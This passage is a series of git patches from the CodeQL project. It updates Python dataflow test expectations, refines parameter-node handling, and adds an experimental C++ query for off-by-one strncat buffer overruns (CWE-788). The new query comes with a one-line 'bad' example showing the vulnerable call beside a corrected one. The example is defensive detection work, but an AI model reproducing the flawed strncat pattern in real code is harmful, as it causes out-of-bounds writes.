semmle.label | IterableElement [Tuple element at index 0] | -| test.py:618:5:618:19 | IterableElement [Tuple element at index 2] | semmle.label | IterableElement [Tuple element at index 2] | -| test.py:618:5:618:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:618:5:618:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 2] | +| test.py:618:6:618:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:618:6:618:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:618:7:618:8 | SSA variable a1 | semmle.label | SSA variable a1 | | test.py:618:7:618:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:618:7:618:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | @@ -600,11 +598,13 @@ nodes | test.py:621:12:621:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:622:10:622:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | | test.py:622:10:622:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:627:6:627:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:627:6:627:14 | IterableElement | semmle.label | IterableElement | -| test.py:627:6:627:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:627:6:627:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:627:5:627:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:627:5:627:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 2] | | test.py:627:7:627:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:627:7:627:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:627:7:627:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:627:7:627:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:627:7:627:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | | test.py:627:11:627:13 | IterableElement | semmle.label | IterableElement | | test.py:627:11:627:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | | test.py:628:10:628:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | @@ -612,10 +612,24 @@ nodes | test.py:630:12:630:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:631:10:631:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | | test.py:631:10:631:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:638:19:638:24 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:639:10:639:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:730:16:730:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:733:10:733:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | +| test.py:636:6:636:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | +| test.py:636:6:636:14 | ControlFlowNode for List [Tuple element at index 2] | semmle.label | ControlFlowNode for List [Tuple element at index 2] | +| test.py:636:6:636:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | +| test.py:636:6:636:14 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | +| test.py:636:6:636:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:636:6:636:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:636:7:636:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:636:11:636:13 | IterableElement | semmle.label | IterableElement | +| test.py:636:11:636:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | +| test.py:637:10:637:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:639:12:639:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:639:12:639:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:640:10:640:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:640:10:640:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:647:19:647:24 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:648:10:648:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:739:16:739:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:742:10:742:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | Flow found | @@ -666,50 +680,48 @@ nodes | test.py:546:10:546:10 | ControlFlowNode for c | test.py:542:30:542:35 | ControlFlowNode for SOURCE | test.py:546:10:546:10 | ControlFlowNode for c | Flow found | | test.py:553:10:553:10 | ControlFlowNode for a | test.py:551:13:551:18 | ControlFlowNode for SOURCE | test.py:553:10:553:10 | ControlFlowNode for a | Flow found | | test.py:561:10:561:10 | ControlFlowNode for a | test.py:559:10:559:15 | ControlFlowNode for SOURCE | test.py:561:10:561:10 | ControlFlowNode for a | Flow found | -| test.py:563:10:563:13 | ControlFlowNode for Subscript | test.py:559:10:559:15 | ControlFlowNode for SOURCE | test.py:563:10:563:13 | ControlFlowNode for Subscript | Flow found | | test.py:563:10:563:13 | ControlFlowNode for Subscript | test.py:559:18:559:23 | ControlFlowNode for SOURCE | test.py:563:10:563:13 | ControlFlowNode for Subscript | Flow found | -| test.py:573:10:573:11 | ControlFlowNode for a1 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:573:10:573:11 | ControlFlowNode for a1 | Flow found | -| test.py:573:10:573:11 | ControlFlowNode for a1 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:573:10:573:11 | ControlFlowNode for a1 | Flow found | -| test.py:573:10:573:11 | ControlFlowNode for a1 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:573:10:573:11 | ControlFlowNode for a1 | Flow found | -| test.py:574:12:574:13 | ControlFlowNode for a2 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:574:12:574:13 | ControlFlowNode for a2 | Flow found | -| test.py:574:12:574:13 | ControlFlowNode for a2 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:574:12:574:13 | ControlFlowNode for a2 | Flow found | -| test.py:574:12:574:13 | ControlFlowNode for a2 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:574:12:574:13 | ControlFlowNode for a2 | Flow found | -| test.py:575:10:575:11 | ControlFlowNode for a3 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a3 | Flow found | -| test.py:575:10:575:11 | ControlFlowNode for a3 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a3 | Flow found | -| test.py:575:10:575:11 | ControlFlowNode for a3 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:575:10:575:11 | ControlFlowNode for a3 | Flow found | -| test.py:581:10:581:11 | ControlFlowNode for a1 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:581:10:581:11 | ControlFlowNode for a1 | Flow found | -| test.py:581:10:581:11 | ControlFlowNode for a1 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:581:10:581:11 | ControlFlowNode for a1 | Flow found | -| test.py:581:10:581:11 | ControlFlowNode for a1 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:581:10:581:11 | ControlFlowNode for a1 | Flow found | -| test.py:582:12:582:13 | ControlFlowNode for a2 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:582:12:582:13 | ControlFlowNode for a2 | Flow found | -| test.py:582:12:582:13 | ControlFlowNode for a2 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:582:12:582:13 | ControlFlowNode for a2 | Flow found | -| test.py:582:12:582:13 | ControlFlowNode for a2 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:582:12:582:13 | ControlFlowNode for a2 | Flow found | -| test.py:583:10:583:11 | ControlFlowNode for a3 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:583:10:583:11 | ControlFlowNode for a3 | Flow found | -| test.py:583:10:583:11 | ControlFlowNode for a3 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:583:10:583:11 | ControlFlowNode for a3 | Flow found | -| test.py:583:10:583:11 | ControlFlowNode for a3 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:583:10:583:11 | ControlFlowNode for a3 | Flow found | -| test.py:589:10:589:11 | ControlFlowNode for a1 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:589:10:589:11 | ControlFlowNode for a1 | Flow found | -| test.py:589:10:589:11 | ControlFlowNode for a1 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:589:10:589:11 | ControlFlowNode for a1 | Flow found | -| test.py:589:10:589:11 | ControlFlowNode for a1 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:589:10:589:11 | ControlFlowNode for a1 | Flow found | -| test.py:590:12:590:13 | ControlFlowNode for a2 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:590:12:590:13 | ControlFlowNode for a2 | Flow found | -| test.py:590:12:590:13 | ControlFlowNode for a2 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:590:12:590:13 | ControlFlowNode for a2 | Flow found | -| test.py:590:12:590:13 | ControlFlowNode for a2 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:590:12:590:13 | ControlFlowNode for a2 | Flow found | -| test.py:591:10:591:11 | ControlFlowNode for a3 | test.py:569:12:569:17 | ControlFlowNode for SOURCE | test.py:591:10:591:11 | ControlFlowNode for a3 | Flow found | -| test.py:591:10:591:11 | ControlFlowNode for a3 | test.py:569:31:569:36 | ControlFlowNode for SOURCE | test.py:591:10:591:11 | ControlFlowNode for a3 | Flow found | -| test.py:591:10:591:11 | ControlFlowNode for a3 | test.py:569:41:569:46 | ControlFlowNode for SOURCE | test.py:591:10:591:11 | ControlFlowNode for a3 | Flow found | -| test.py:601:10:601:11 | ControlFlowNode for a1 | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:601:10:601:11 | ControlFlowNode for a1 | Flow found | -| test.py:603:12:603:16 | ControlFlowNode for Subscript | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:603:12:603:16 | ControlFlowNode for Subscript | Flow found | -| test.py:604:10:604:14 | ControlFlowNode for Subscript | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:604:10:604:14 | ControlFlowNode for Subscript | Flow found | -| test.py:610:10:610:11 | ControlFlowNode for a1 | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:610:10:610:11 | ControlFlowNode for a1 | Flow found | -| test.py:612:12:612:16 | ControlFlowNode for Subscript | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:612:12:612:16 | ControlFlowNode for Subscript | Flow found | -| test.py:612:12:612:16 | ControlFlowNode for Subscript | test.py:597:31:597:36 | ControlFlowNode for SOURCE | test.py:612:12:612:16 | ControlFlowNode for Subscript | Flow found | -| test.py:613:10:613:14 | ControlFlowNode for Subscript | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:613:10:613:14 | ControlFlowNode for Subscript | Flow found | -| test.py:613:10:613:14 | ControlFlowNode for Subscript | test.py:597:31:597:36 | ControlFlowNode for SOURCE | test.py:613:10:613:14 | ControlFlowNode for Subscript | Flow found | -| test.py:619:10:619:11 | ControlFlowNode for a1 | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:619:10:619:11 | ControlFlowNode for a1 | Flow found | -| test.py:621:12:621:16 | ControlFlowNode for Subscript | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:621:12:621:16 | ControlFlowNode for Subscript | Flow found | -| test.py:621:12:621:16 | ControlFlowNode for Subscript | test.py:597:31:597:36 | ControlFlowNode for SOURCE | test.py:621:12:621:16 | ControlFlowNode for Subscript | Flow found | -| test.py:622:10:622:14 | ControlFlowNode for Subscript | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:622:10:622:14 | ControlFlowNode for Subscript | Flow found | -| test.py:622:10:622:14 | ControlFlowNode for Subscript | test.py:597:31:597:36 | ControlFlowNode for SOURCE | test.py:622:10:622:14 | ControlFlowNode for Subscript | Flow found | -| test.py:628:10:628:11 | ControlFlowNode for a1 | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:628:10:628:11 | ControlFlowNode for a1 | Flow found | -| test.py:630:12:630:16 | ControlFlowNode for Subscript | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:630:12:630:16 | ControlFlowNode for Subscript | Flow found | -| test.py:631:10:631:14 | ControlFlowNode for Subscript | test.py:597:12:597:17 | ControlFlowNode for SOURCE | test.py:631:10:631:14 | ControlFlowNode for Subscript | Flow found | -| test.py:639:10:639:10 | ControlFlowNode for a | test.py:638:19:638:24 | ControlFlowNode for SOURCE | test.py:639:10:639:10 | ControlFlowNode for a | Flow found | -| test.py:733:10:733:36 | ControlFlowNode for return_from_inner_scope() | test.py:730:16:730:21 | ControlFlowNode for SOURCE | test.py:733:10:733:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:564:12:564:12 | ControlFlowNode for c | test.py:559:18:559:23 | ControlFlowNode for SOURCE | test.py:564:12:564:12 | ControlFlowNode for c | Flow found | +| test.py:571:10:571:10 | ControlFlowNode for a | test.py:569:10:569:15 | ControlFlowNode for SOURCE | test.py:571:10:571:10 | ControlFlowNode for a | Flow found | +| test.py:573:10:573:10 | ControlFlowNode for c | test.py:569:18:569:23 | ControlFlowNode for SOURCE | test.py:573:10:573:10 | ControlFlowNode for c | Flow found | +| test.py:582:10:582:11 | ControlFlowNode for a1 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:582:10:582:11 | ControlFlowNode for a1 | Flow found | +| test.py:582:10:582:11 | ControlFlowNode for a1 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:582:10:582:11 | ControlFlowNode for a1 | Flow found | +| test.py:582:10:582:11 | ControlFlowNode for a1 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:582:10:582:11 | ControlFlowNode for a1 | Flow found | +| test.py:583:12:583:13 | ControlFlowNode for a2 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:583:12:583:13 | ControlFlowNode for a2 | Flow found | +| test.py:583:12:583:13 | ControlFlowNode for a2 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:583:12:583:13 | ControlFlowNode for a2 | Flow found | +| test.py:583:12:583:13 | ControlFlowNode for a2 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:583:12:583:13 | ControlFlowNode for a2 | Flow found | +| test.py:584:10:584:11 | ControlFlowNode for a3 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:584:10:584:11 | ControlFlowNode for a3 | Flow found | +| test.py:584:10:584:11 | ControlFlowNode for a3 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:584:10:584:11 | ControlFlowNode for a3 | Flow found | +| test.py:584:10:584:11 | ControlFlowNode for a3 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:584:10:584:11 | ControlFlowNode for a3 | Flow found | +| test.py:590:10:590:11 | ControlFlowNode for a1 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:590:10:590:11 | ControlFlowNode for a1 | Flow found | +| test.py:590:10:590:11 | ControlFlowNode for a1 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:590:10:590:11 | ControlFlowNode for a1 | Flow found | +| test.py:590:10:590:11 | ControlFlowNode for a1 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:590:10:590:11 | ControlFlowNode for a1 | Flow found | +| test.py:591:12:591:13 | ControlFlowNode for a2 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:591:12:591:13 | ControlFlowNode for a2 | Flow found | +| test.py:591:12:591:13 | ControlFlowNode for a2 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:591:12:591:13 | ControlFlowNode for a2 | Flow found | +| test.py:591:12:591:13 | ControlFlowNode for a2 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:591:12:591:13 | ControlFlowNode for a2 | Flow found | +| test.py:592:10:592:11 | ControlFlowNode for a3 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:592:10:592:11 | ControlFlowNode for a3 | Flow found | +| test.py:592:10:592:11 | ControlFlowNode for a3 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:592:10:592:11 | ControlFlowNode for a3 | Flow found | +| test.py:592:10:592:11 | ControlFlowNode for a3 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:592:10:592:11 | ControlFlowNode for a3 | Flow found | +| test.py:598:10:598:11 | ControlFlowNode for a1 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:598:10:598:11 | ControlFlowNode for a1 | Flow found | +| test.py:598:10:598:11 | ControlFlowNode for a1 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:598:10:598:11 | ControlFlowNode for a1 | Flow found | +| test.py:598:10:598:11 | ControlFlowNode for a1 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:598:10:598:11 | ControlFlowNode for a1 | Flow found | +| test.py:599:12:599:13 | ControlFlowNode for a2 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:599:12:599:13 | ControlFlowNode for a2 | Flow found | +| test.py:599:12:599:13 | ControlFlowNode for a2 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:599:12:599:13 | ControlFlowNode for a2 | Flow found | +| test.py:599:12:599:13 | ControlFlowNode for a2 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:599:12:599:13 | ControlFlowNode for a2 | Flow found | +| test.py:600:10:600:11 | ControlFlowNode for a3 | test.py:578:12:578:17 | ControlFlowNode for SOURCE | test.py:600:10:600:11 | ControlFlowNode for a3 | Flow found | +| test.py:600:10:600:11 | ControlFlowNode for a3 | test.py:578:31:578:36 | ControlFlowNode for SOURCE | test.py:600:10:600:11 | ControlFlowNode for a3 | Flow found | +| test.py:600:10:600:11 | ControlFlowNode for a3 | test.py:578:41:578:46 | ControlFlowNode for SOURCE | test.py:600:10:600:11 | ControlFlowNode for a3 | Flow found | +| test.py:610:10:610:11 | ControlFlowNode for a1 | test.py:606:12:606:17 | ControlFlowNode for SOURCE | test.py:610:10:610:11 | ControlFlowNode for a1 | Flow found | +| test.py:612:12:612:16 | ControlFlowNode for Subscript | test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:612:12:612:16 | ControlFlowNode for Subscript | Flow found | +| test.py:613:10:613:14 | ControlFlowNode for Subscript | test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:613:10:613:14 | ControlFlowNode for Subscript | Flow found | +| test.py:619:10:619:11 | ControlFlowNode for a1 | test.py:606:12:606:17 | ControlFlowNode for SOURCE | test.py:619:10:619:11 | ControlFlowNode for a1 | Flow found | +| test.py:621:12:621:16 | ControlFlowNode for Subscript | test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:621:12:621:16 | ControlFlowNode for Subscript | Flow found | +| test.py:622:10:622:14 | ControlFlowNode for Subscript | test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:622:10:622:14 | ControlFlowNode for Subscript | Flow found | +| test.py:628:10:628:11 | ControlFlowNode for a1 | test.py:606:12:606:17 | ControlFlowNode for SOURCE | test.py:628:10:628:11 | ControlFlowNode for a1 | Flow found | +| test.py:630:12:630:16 | ControlFlowNode for Subscript | test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:630:12:630:16 | ControlFlowNode for Subscript | Flow found | +| test.py:631:10:631:14 | ControlFlowNode for Subscript | test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:631:10:631:14 | ControlFlowNode for Subscript | Flow found | +| test.py:637:10:637:11 | ControlFlowNode for a1 | test.py:606:12:606:17 | ControlFlowNode for SOURCE | test.py:637:10:637:11 | ControlFlowNode for a1 | Flow found | +| test.py:639:12:639:16 | ControlFlowNode for Subscript | test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:639:12:639:16 | ControlFlowNode for Subscript | Flow found | +| test.py:640:10:640:14 | ControlFlowNode for Subscript | test.py:606:31:606:36 | ControlFlowNode for SOURCE | test.py:640:10:640:14 | ControlFlowNode for Subscript | Flow found | +| test.py:648:10:648:10 | ControlFlowNode for a | test.py:647:19:647:24 | ControlFlowNode for SOURCE | test.py:648:10:648:10 | ControlFlowNode for a | Flow found | +| test.py:742:10:742:36 | ControlFlowNode for return_from_inner_scope() | test.py:739:16:739:21 | ControlFlowNode for SOURCE | test.py:742:10:742:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 52d92e890d3..0b43a8119ac 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -561,7 +561,16 @@ def test_iterated_unpacking_assignment(): SINK(a) #$ flow="SOURCE, l:-2 -> a" SINK_F(b) SINK(b[0]) #$ flow="SOURCE, l:-4 -> b[0]" - SINK_F(c) + SINK_F(c) #$ SPURIOUS: flow="SOURCE, l:-5 -> c" # We do not track tuple sizes + + +@expects(4) +def test_iterated_unpacking_assignment_shrink(): + t = (SOURCE, SOURCE) + a, *b, c = t + SINK(a) #$ flow="SOURCE, l:-2 -> a" + SINK_F(b) + SINK(c) #$ flow="SOURCE, l:-4 -> c" @expects(15) @@ -603,7 +612,7 @@ def test_iterated_unpacking_assignment_conversion(): SINK_F(a2[0]) #$ SPURIOUS: flow="SOURCE, l:-6 -> a2[0]" # FP here due to list abstraction SINK(a2[1]) #$ flow="SOURCE, l:-7 -> a2[1]" SINK_F(b) # The list itself is not tainted - SINK_F(b[0]) # Expected FP here due to list abstraction + SINK_F(b[0]) # tuple ((a1, *a2), *b) = tt @@ -621,7 +630,7 @@ def test_iterated_unpacking_assignment_conversion(): SINK_F(a2[0]) #$ SPURIOUS: flow="SOURCE, l:-24 -> a2[0]" # FP here due to list abstraction SINK(a2[1]) #$ flow="SOURCE, l:-25 -> a2[1]" SINK_F(b) # The list itself is not tainted - SINK_F(b[0]) # Expected FP here due to list abstraction + SINK_F(b[0]) # mixed differently ([a1, *a2], *b) = tt From baf0917524be86a2c968e21d700b223a75bdb6cf Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Sun, 24 Jan 2021 15:30:59 +0100 Subject: [PATCH 0782/1241] On saltstack this drops the number of consistency errors of type uniqueEnclosingCallable from 4026 to 614. --- .../semmle/python/dataflow/new/internal/DataFlowPublic.qll | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index edb550872f5..6b36f10f779 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -179,7 +179,11 @@ ExprNode exprNode(DataFlowExpr e) { result.getNode().getNode() = e } class ParameterNode extends CfgNode { ParameterDefinition def; - ParameterNode() { node = def.getDefiningNode() } + ParameterNode() { + node = def.getDefiningNode() and + // Disregard parameters to the function the extractor has synthesised for comprehensions + not def.getScope() = any(Comp comp).getNthInnerLoop(0).getIter().getScope() + } /** * Holds if this node is the parameter of callable `c` at the From 89e56707c3895876f6efd0512706cb9713d4481d Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Sun, 24 Jan 2021 16:16:07 +0100 Subject: [PATCH 0783/1241] Python: Omit all unresolved parameter nodes. Drops the results further to 139. --- .../semmle/python/dataflow/new/internal/DataFlowPublic.qll | 4 ++-- .../dataflow/consistency/dataflow-consistency.expected | 1 - 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 6b36f10f779..d28eb856e19 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -181,8 +181,8 @@ class ParameterNode extends CfgNode { ParameterNode() { node = def.getDefiningNode() and - // Disregard parameters to the function the extractor has synthesised for comprehensions - not def.getScope() = any(Comp comp).getNthInnerLoop(0).getIter().getScope() + // Disregard parameters that we cannot resolve + exists(DataFlowCallable c | node = c.getParameter(_)) } /** diff --git a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected index 8cfcd63dda6..6f03f2f621e 100644 --- a/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected +++ b/python/ql/test/experimental/dataflow/consistency/dataflow-consistency.expected @@ -1,5 +1,4 @@ uniqueEnclosingCallable -| test.py:239:27:239:27 | ControlFlowNode for p | Node should have one enclosing callable but has 0. | uniqueType uniqueNodeLocation missingLocation From 20d1b24e9c6790e0c3afa869b89d6b78d69b26a8 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Sun, 24 Jan 2021 22:35:11 +0300 Subject: [PATCH 0784/1241] Add files via upload --- ...moryLocationAfterEndOfBufferUsingStrncat.c | 4 ++ ...LocationAfterEndOfBufferUsingStrncat.qhelp | 33 ++++++++++ ...oryLocationAfterEndOfBufferUsingStrncat.ql | 65 +++++++++++++++++++ 3 files changed, 102 insertions(+) create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c new file mode 100644 index 00000000000..9b08034dec5 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.c @@ -0,0 +1,4 @@ + +strncat(dest, src, sizeof(dest) - strlen(dest)); //bad: + +strncat(dest, src, sizeof(dest) - strlen(dest) -1); //good: diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp new file mode 100644 index 00000000000..182279f6b6b --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.qhelp @@ -0,0 +1,33 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> +<overview> +<p>The standard library function <code> strncat </code> appends the source string to the target string. The third argument specifies the maximum number of characters to add and must be less than the remaining space in the target buffer. Calls of the form <code> strncat (dest, src, sizeof (dest) - strlen (dest)) </code> set the third argument to one more than possible. So when the buffer is full, the expression <code> sizeof (dest) - strlen (dest) </code> will be equal to one, and not zero as the programmer might think. Making a call of this type may result in a zero byte being written just outside the buffer.</p> + +<p>Loss of detection includes cases of use of situations when memory allocation for a buffer occurs with a strong nesting or outside the limits of the function. It is also worth paying attention to the exclusion from the detection of situations when the second argument of the function is a constant string, since this situation creates a large number of false detection.</p> + +</overview> +<recommendation> + +<p>We 